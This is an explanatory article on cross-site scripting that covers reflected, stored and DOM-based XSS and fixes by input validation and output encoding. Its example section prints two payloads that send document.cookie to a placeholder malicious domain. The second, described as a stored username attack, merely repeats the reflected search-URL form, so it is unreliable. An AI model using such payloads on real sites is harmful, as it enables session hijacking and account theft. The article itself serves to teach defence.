XSS or Cross-Site Scripting Why You Need to Know

Why You need to Know about XSS

One of the most common types of Web Application vulnerability threat is called XSS or Cross-site scripting. This attack targets the end user instead of the Web Application using client-side web technologies, such as JavaScript and HTML. Attacks are carried out by embedding malicious script to client side scripting languages and can be associated with user action or every time the page loads.

Using a web application as medium attackers can hijack sessions display unwanted advertisements, steal account information, transfer/activate malwares on the end users machine. Attackers are able to bypass security restrictions and are able to execute malicious code behind victims firewall using vulnerable Web Applications.

How you become vulnerable?

When vulnerable web applications take data from users and make it a part of the web application presentation or client without required validation then the users of the application can be potential victims. If the data is not validated, it can be used to embed/run malicious code to enable the attacker to perform session hijack, steal account information, access browser history, access clipboard content, control browser remotely, access intranet resources and applications.

Where do the vulnerabilities come from?

XSS Vulnerabilities can arise from lack of validation of user input at the client side or server side or both.

Lack of validation on the client side can expose victims to DOM-Based XSS attacks. Using API access through the DOM standard malicious script can be injected into a web page without the data being sent to the server. Web application that use Java or ActiveX to modify HTML based on the user input without sending the content to the server are prone to DOM-Based XSS attacks if the input is not validated on the client side.

A user can be induced to performing an action on the web page which looks legitimate like clicking on a link. This action can help replace/inject/append malicious JavaScript which is sent to the server. The server then responds to the submission from the client considering it to be a genuine request/submission. Confidential information may be revealed or other harmful activities can be performed by the attacker by adding malicious code to a genuine transaction. This attack method is called reflective XSS.

Attackers can store malicious code in database from where it is available to be executed again and again. This stored XSS attack is more dangerous as here the attacker does not have to make user do any suspicious web action. For example if an application allows user to enter profile name which is then displayed on a page for other users to access can be exploited by attackers to attach malicious JavaScript if the username filed is not properly sanitized. So whenever a user clicks on the username to check it profile the malicious script gets executed.

Examples of flawed code:

This XSS JavaScript example is delivered to the user through clicking on a malicious link. The XSS request is initiated from the victim’s browser, sent to the vulnerable web application, and then reflected back to execute in the context of the user's session.

http://www.bigsafebank~~~/search.asp?q=<script>x=new Image;x.src = http://malicious-domain~~~/hijackedsession.php?session-cookie=+document.cookie ;</script>

This XSS Javascript example is inputted as part of the attacker’s user name. Here a fraudulent user exploits the fact that the web application stores each user name in a local database that fails to sanitize the name field, leaving it open to XSS attacks. When other users view the attacker’s profile page, the code executes in the context of their session.

http://www.bigsafebank.com/search.asp?q=<script>x=new Image;x.src = http://maliciousdomain~~~/hijackedsession.php?sessioncookie=”+document.cookie;</script>

How to Fix XSS Flaws  

Malicious code is normally inserted as a part of GET or POST parameter. So all inputs from the have to be sanitized without fail. All input should be converted to single character encoding before parsing. VALIDATE all user inputs from browsers to Applications.

Before reflecting the data back to the user it has to be escaped, filtered after validation. Convert special characters like <, >,?, &, /  and spaces to their respective URL or HTML encoded equivalents. URL encode all user input returned as part of URLs. HTML encode all user input returned as part of HTML.

Users should be allowed to disable client side scripts which may lead to loss of application functionalities but can prevent susceptible users to be exploited from malicious script.